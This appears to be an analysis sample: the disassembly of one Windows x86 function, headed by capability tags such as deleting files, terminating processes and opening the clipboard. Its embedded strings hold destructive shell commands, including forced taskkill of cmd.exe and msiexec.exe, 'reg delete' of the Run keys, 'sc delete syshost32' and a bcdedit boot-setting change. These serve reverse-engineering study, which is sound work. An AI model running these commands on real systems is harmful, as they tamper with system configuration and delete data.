Function at 0x40100f
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Get common file path
Move file
Open clipboard
Set file attributes
Terminate process

Disassembly:
jmp 0x4046e0
mov eax, 0x120c
call fcn.0040c810
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
push str.NitrGB
xor ebp, ebp
push 1
push ebp
push ebp
call esi
push str.GlobalNitrGB
push 1
push ebp
push ebp
call esi
push ebp
call dword [sym.imp.USER32.dll_OpenClipboard]
mov esi, dword [sym.imp.USER32.dll_EmptyClipboard]
call esi
call esi
call dword [sym.imp.USER32.dll_CloseClipboard]
call dword [sym.imp.USER32.dll_GetInputState]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageW]
push ebp
push ebp
lea eax, [esp + 0x1c]
push ebp
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x32]
mov word [esp + 0x30], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.00401136
test al, al
je 0x404770
lea ecx, [esp + 0x30]
push str.___xyz___
push ecx
jmp 0x40477a
lea edx, [esp + 0x30]
push str.___abc___
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
add esp, 8
lea eax, [esp + 0x30]
push eax
push ebp
push 0x1f0001
call esi
cmp eax, ebp
jne 0x40482e
lea ecx, [esp + 0x30]
push ecx
push 1
push ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x60e]
mov word [esp + 0x60c], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x60c]
push 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
lea ecx, [esp + 0x60c]
push str.mmc.exe
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x40484e
mov ecx, 9
mov esi, str.CMD__C_RD__TEMP___S_Q__MKDIR__TEMP_
lea edi, [esp + 0xf8]
lea edx, [esp + 0xf8]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xf
lea edi, [esp + 0x11d]
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push ebp
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call esi
jmp 0x404854
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x30]
push edx
push ebp
push 0x1f0001
call esi
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.004010af
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push str.__zxcv
push eax
call ebx
add esp, 8
test eax, eax
je 0x40488e
push ebp
push str.taskkill__f__im_runonce.exe
call esi
push ebp
push str.taskkill__f__im_runonce.exe
call esi
push ebp
push str.taskkill__f__im_cmd.exe
call esi
push ebp
push str.taskkill__f__im_cmd.exe
call esi
mov esi, 0xa
call fcn.004010b9
call fcn.004011c7
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
jne 0x404893
mov ebp, dword [sym.imp.USER32.dll_PostMessageW]
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
mov dword [esp + 0x10], 0xa
mov edi, dword [sym.imp.USER32.dll_FindWindowW]
push 0
push str.AfxMDIFrame42
call edi
push str.1___My11
push 0
mov esi, eax
call edi
test esi, esi
mov edi, eax
je 0x4048ef
push 0
push 0
push 0x12
push esi
call ebp
mov byte [0x411144], 1
test edi, edi
je 0x404903
push 0
push 0
push 0x12
push edi
call ebp
mov byte [0x411144], 1
test esi, esi
je 0x404910
push 0
push 0
push 0x10
push esi
call ebp
test edi, edi
je 0x40491d
push 0
push 0
push 0x10
push edi
call ebp
push 0
push 0
push 0x10
push edi
call ebx
push 0
push 0
push 0x12
push esi
call ebx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
dec eax
mov dword [esp + 0x10], eax
jne 0x4048bf
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push str.__zxcv
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x404978
call esi
cmp eax, 0x3a980
jbe 0x404978
call fcn.004011f4
call fcn.00401136
test al, al
jne 0x4049af
call fcn.00401181
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.___xyz___
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
je 0x4049af
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x14
mov esi, str.reg_delete__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun___f
lea edi, [esp + 0x4e0]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x37
lea edi, [esp + 0x530]
rep stosd dword es:[edi], eax
mov ecx, 0x14
mov esi, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f
lea edi, [esp + 0x15c]
xor ebp, ebp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x36
lea edi, [esp + 0x1ad]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x17
mov esi, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun___f
lea edi, [esp + 0x3b4]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x33
lea edi, [esp + 0x411]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1a
mov esi, str.CMD__C__WINDIR__sysnative_reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f
lea edi, [esp + 0x288]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x30
lea edi, [esp + 0x2f3]
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push ebp
stosb byte es:[edi], al
lea eax, [esp + 0x4e4]
push eax
call esi
lea ecx, [esp + 0x15c]
push ebp
push ecx
call esi
lea edx, [esp + 0x3b4]
push ebp
push edx
call esi
lea eax, [esp + 0x288]
push ebp
push eax
call esi
push ebp
push str.sc_delete_syshost32
call esi
push ebp
push ebp
push str._set_TESTSIGNING_OFF
push str.bcdedit
push str.open
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebp
push str.taskkill__f__im_msiexec.exe
call esi
call fcn.00401055
call fcn.004011d1
lea ecx, [esp + 0x814]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [esp + 0x814]
mov word [esp + 0x818], bp
push edx
call fcn.0040119a
add esp, 4
call fcn.0040105f
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x432680], ebp
jle 0x404b9a
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, 0x411660
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0xa1e]
mov word [esp + 0xa1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xa1c]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea ecx, [esp + 0xa24]
push 0x410b30
push ecx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x10
lea edx, [esp + 0xa1c]
push 3
push edx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xa1c]
push 0x80
push eax
call edi
push 0x80
push esi
call edi
lea ecx, [esp + 0xa1c]
push ecx
call ebx
lea edx, [esp + 0xa1c]
push edx
call ebx
push esi
call ebx
push esi
call ebx
mov eax, dword [0x432680]
inc ebp
add esi, 0x208
cmp ebp, eax
jl 0x404afd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120c
ret